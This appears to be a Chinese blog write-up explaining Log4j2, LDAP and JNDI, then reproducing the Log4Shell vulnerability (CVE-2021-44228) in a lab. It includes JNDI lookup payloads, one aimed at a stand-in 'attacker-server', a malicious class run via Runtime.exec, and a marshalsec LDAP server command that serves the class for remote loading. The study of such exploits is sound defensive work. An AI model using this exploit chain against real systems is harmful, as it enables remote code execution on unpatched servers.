log4j2介绍
Log4j2(Log for Java) 是apache基金会的一个用于 Java 应用程序的成熟且功能强大的日志记录框架。其作用主要体现在能帮助开发者方便地记录程序运行中的各种信息,如调试信息、业务操作记录、错误信息等,便于快速定位和解决问题,同时也有助于对系统运行状况进行监控和分析。
其工作原理是基于配置文件或代码配置来确定日志记录的级别、格式、输出目标等,当应用程序运行时,Log4j2 通过在代码中插入的日志记录语句捕获相应的事件,根据配置判断是否需要记录该事件,若需要,则按照设定的格式将日志信息输出到指定的目标,如控制台、文件或数据库等,并且它还支持过滤器、布局等功能,能对日志进行更精细的处理和格式化,以满足不同的需求。
它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。
使用方法:
- 添加依赖项(以maven项目举例)
在 pom.xml 文件中添加以下依赖:
<dependencies>
<!-- Log4j2 API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.20.0</version>
</dependency>
<!-- Log4j2 核心实现 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.20.0</version>
</dependency>
</dependencies>
- 配置 Log4j2
这里用xml形式配置
src/main/resources目录下创建log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<!-- 控制台输出 -->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
</Console>
<!-- 文件输出 -->
<File name="File" fileName="app.log">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
</File>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
<AppenderRef ref="File"/>
</Root>
</Loggers>
</Configuration>
- 在 Java 代码中使用 Log4j2
创建src/main/java/com/example/App.java
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.trace("This is a trace message");
logger.debug("This is a debug message");
logger.info("This is an info message");
logger.warn("This is a warn message");
logger.error("This is an error message");
logger.fatal("This is a fatal message");
}
}
4. 运行项目即可
LDAP
本文主要是分析漏洞,这里不深究ldap,可以上网查看详细介绍。
定义与用途
LDAP(Lightweight Directory Access Protocol)即轻量级目录访问协议,是一种在互联网协议(IP)网络上用于访问和维护分布式目录信息服务的应用层协议,基于 X.500 标准,但进行了简化,具有简单、开放、易于实现等特点,可运行在 TCP/IP 或其他面向连接的传输协议之上。目录就像一个数据库,存储着各种对象的信息,如用户账户、组织架构等。在企业环境中,LDAP 常被用于集中管理用户身份信息,方便用户认证和授权。
工作模式
客户端通过 LDAP 协议向 LDAP 服务器发送查询请求,服务器根据请求返回相应的目录信息。例如,用户登录系统时,系统可以通过 LDAP 查询验证用户的身份信息。
与漏洞关联
在 Log4j2 漏洞中,攻击者会构造 LDAP 请求,让 Log4j2 去访问恶意的 LDAP 服务器,从而获取恶意类信息。
应用场景
- 企业用户认证与授权:许多企业使用 LDAP 服务器来存储用户账户信息,包括用户名、密码、电子邮件地址等。当用户登录企业应用系统时,系统可以通过 LDAP 协议验证用户的身份,并根据用户在 LDAP 目录中的权限信息授予相应的访问权限。
- 邮件系统:邮件服务器可以使用 LDAP 来存储和管理用户的邮件地址和联系人信息。当用户发送邮件时,邮件客户端可以通过 LDAP 查询收件人的邮件地址。
- 网络设备管理:网络设备(如路由器、交换机等)可以使用 LDAP 进行用户认证和配置管理。管理员可以通过 LDAP 服务器集中管理网络设备的用户账户和权限。
和单点登录的区别:
通过 LDAP,一套服务产品能够公用同一套账号密码信息来进行身份验证。LDAP 主要用于集中存储和管理用户身份信息,在实际应用中,它可以与多种认证和授权机制相结合。以某连锁酒店集团的内部系统为例,旗下酒店使用的客房管理系统、会员管理系统、财务管理系统等可能基于 LDAP 进行身份验证。不过,具体的登录体验并非固定不变,并非像原描述那样一定是每次访问不同系统都要重新输入账号密码。通过合理的系统设计与配置,也能实现类似单点登录的便捷操作。
而单点登录作为一种身份验证机制,用户登录某一服务后,在满足特定条件时,无需再次输入账号密码就能直接访问其他相关服务。其应用范畴不仅局限于同一企业的产品或服务,不同企业之间若建立了信任关系并采用相应技术,同样可以实现单点登录。例如,腾讯旗下的微信与一些第三方合作的小程序之间,用户在微信中登录后,在支持单点登录的小程序中就能直接使用微信账号授权登录,无需额外注册或重复输入密码。又比如,用户使用谷歌账号登录谷歌云端硬盘(Google Drive)后,也能直接访问谷歌相册(Google Photos)等其他谷歌服务,这都体现了单点登录的便利性与广泛适用性。
JNDI
定义与用途
JNDI(Java 命名和目录接口) 是 Java 提供的一组 API,用于在 Java 程序中访问各种命名和目录服务,如 LDAP、DNS 等。它允许 Java 程序通过名称来查找和访问资源,这些资源可以是数据库连接、文件系统、网络服务等。
没有JNDI之前java大多用jdbc连接数据库
JDBC(Java Database Connectivity):是 Java 用于与各种关系型数据库进行交互的标准 API。它提供了一组类和接口,允许 Java 程序通过 SQL 语句与数据库进行通信,如查询、插入、更新和删除数据等操作。JDBC需要在代码中明确指定数据库的连接信息,如数据库的 URL、用户名、密码等,然后通过 DriverManager 来获取数据库连接。比如:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class JDBCExample {
public static void main(String[] args) {
String url = "jdbc:mysql://localhost:3306/testdb";
String username = "root";
String password = "password";
try (Connection connection = DriverManager.getConnection(url, username, password);
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery("SELECT * FROM users")) {
while (resultSet.next()) {
System.out.println(resultSet.getString("username"));
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
JDBC 在使用时存在多方面的不便之处,其需要在代码里硬编码数据库连接信息,如数据库的 URL、用户名和密码等,这不仅降低了代码的可维护性,当数据库连接信息变更时需逐行修改代码;还增加了安全风险,硬编码的敏感信息易在代码管理或传输过程中泄露;并且每次使用数据库都要手动编写获取连接、关闭连接等操作的代码,较为繁琐,缺乏灵活性和扩展性,难以适应不同环境下的数据库配置变化。
之后就有了JNDI。
假设在应用服务器(如 Tomcat)中已经配置了一个名为 jdbc/TestDB 的数据源。我们要通过 JNDI 查找名为 java:comp/env/jdbc/TestDB 的数据源,然后从数据源获取数据库连接并执行查询操作。
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
public class JNDIExample {
public static void main(String[] args) {
try {
// 获取初始上下文
Context initialContext = new InitialContext();
// 查找数据源
DataSource dataSource = (DataSource) initialContext.lookup("java:comp/env/jdbc/TestDB");
// 从数据源获取数据库连接
try (Connection connection = dataSource.getConnection();
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery("SELECT * FROM users")) {
while (resultSet.next()) {
System.out.println(resultSet.getString("username"));
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
数据库的连接信息被配置在应用服务器中,代码中只需要通过名称来查找数据源,提高了代码的可维护性和安全性。如果数据库的相关参数(数据库类型、账号、地址、密码)变更,只需要重新配置 相关配置文件,修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。
工作原理
JNDI 提供了一个统一的接口,Java 程序通过该接口向具体的目录服务(如 LDAP 服务器)发送查找请求,目录服务返回相应的资源对象。例如,Java 程序可以使用 JNDI 查找 LDAP 服务器中的用户信息。
与漏洞关联
Log4j2 支持使用 JNDI 来解析日志消息中的变量。攻击者利用这一特性,将恶意的 JNDI 引用(如 {jndi:ldap://attacker-server:1389/Exploit})插入到日志消息中,当 Log4j2 解析该消息时,会触发 JNDI 查找,从而连接到攻击者控制的 LDAP 服务器。
可以看这位师傅的JNDI注入文章
CVE-2021-44228
基本信息
编号:CVE - 2021 - 44228
发布时间:2021 年 12 月 9 日
影响版本:Log4j 2.0 - 2.14.1 。JDK版本小于 8u191、7u201、6u211(本人复现的时候就是因为太晚发现jdk版本高了搞了一整天)。
危险评级:该漏洞被评定为最高的 “严重” 级别,CVSS 评分达到 10.0(满分 10 分),意味着其具有极高的危险性和广泛的影响范围。
攻击场景
Web 应用程序:攻击者可以通过构造包含恶意 JNDI 引用的 HTTP 请求参数、请求头或 Cookie 等,当 Web 应用程序记录这些请求信息时触发漏洞,从而控制服务器。例如,攻击者可能会将恶意 JNDI 引用放入用户名、搜索关键词等输入字段中。
消息队列系统:在使用 Log4j 2 记录消息的消息队列系统中,攻击者可以向消息队列发送包含恶意 JNDI 引用的消息,当消息被消费并记录日志时,触发漏洞。
物联网设备:许多物联网设备使用 Java 运行环境和 Log4j 2 进行日志记录,攻击者可以利用该漏洞入侵这些设备,控制设备的功能或窃取敏感信息。
原理
- lookup
在 Log4j2 里,lookup 机制是一种强大的功能,
它允许在配置文件或者日志消息中使用特殊的语法来动态获取各种信息。
通过 lookup,可以在日志记录时插入系统属性、环境变量、配置文件中的值等。
例如 ${sys:propertyName} 能获取系统属性的值,${env:variableName} 可获取环境变量的值。
这种机制原本是为了让日志配置更加灵活和动态。
Log4j2 支持 JNDI(Java Naming and Directory Interface)类型的 lookup,即可以使用 ${jndi:xxx} 这种形式的表达式。
当 Log4j2 在解析日志消息或者配置文件时遇到这样的表达式,就会尝试通过 JNDI 协议去查找对应的资源。
这里直接引用这位师傅的文章
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
环境搭建&复现
我用的是win10虚拟机+IDEA+开源ldap服务器
首先IDEA新建一个maven项目
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.pentest</groupId>
<artifactId>Log4j2test</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Log4j2 API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<!-- Log4j2 核心实现 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
src/main/resources/log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<!-- 控制台输出 -->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
</Console>
<!-- 文件输出 -->
<File name="File" fileName="app.log">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
</File>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
<AppenderRef ref="File"/>
</Root>
</Loggers>
</Configuration>
src/main/java/evilJNDI.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class evilJNDI {
private static final Logger logger = LogManager.getLogger(evilJNDI.class);
public static void main(String[] args) {
// 模拟恶意的 JNDI 引用
String maliciousPayload = "${jndi:ldap://127.0.0.1:7389/oooo}";
logger.error(maliciousPayload);
}
}
同样用受影响版本的jdk编译好一个恶意类
import java.io.IOException;
public class Exploit {
static {
try {
// 打开windows电脑的计算器 proof of content
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
物理机:Exploit.class放在物理机一个目录下
在Exploit.class所在目录开一个python服务器
虚拟机:然后把在https://github.com/mbechler/marshalsec下载的服务器源码打包成jar包,这里直接在虚拟机本地启动ldap服务器了,启动命令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.104:888/#Exploit" 7389
运行刚刚的测试类evilJNDI.class,发现虚拟机弹出计算器
其他
因为我不搞java安全方向,所以先不研究源码调试,不过我还是想看看到底如何下手。
首先在log4j2源码打断点我就不会打,用everything都搜不到大佬们说要打断点的类。然后看了下面这篇文章
https://www.bookstack.cn/read/anbai-inc-javaweb-sec/java-source-code-audit-IDEA-Debug.md#n4li6
我就找到log4j-core-2.14.1.jar这个包,按照文中“4.2”的方法,成功找到了打断点的地方
但是这样只能找到反编译的class文件啊
后来自己摸索了一下发现其实直接按照下面步骤即可
1.idea界面最右边打开maven的选项界面,找到依赖项,找到对应要调试的库右键下载源码
然后就可以在项目资源管理界面的外部库目录下找到要打断点的类了,如下图
点进对应的类就可以打断点。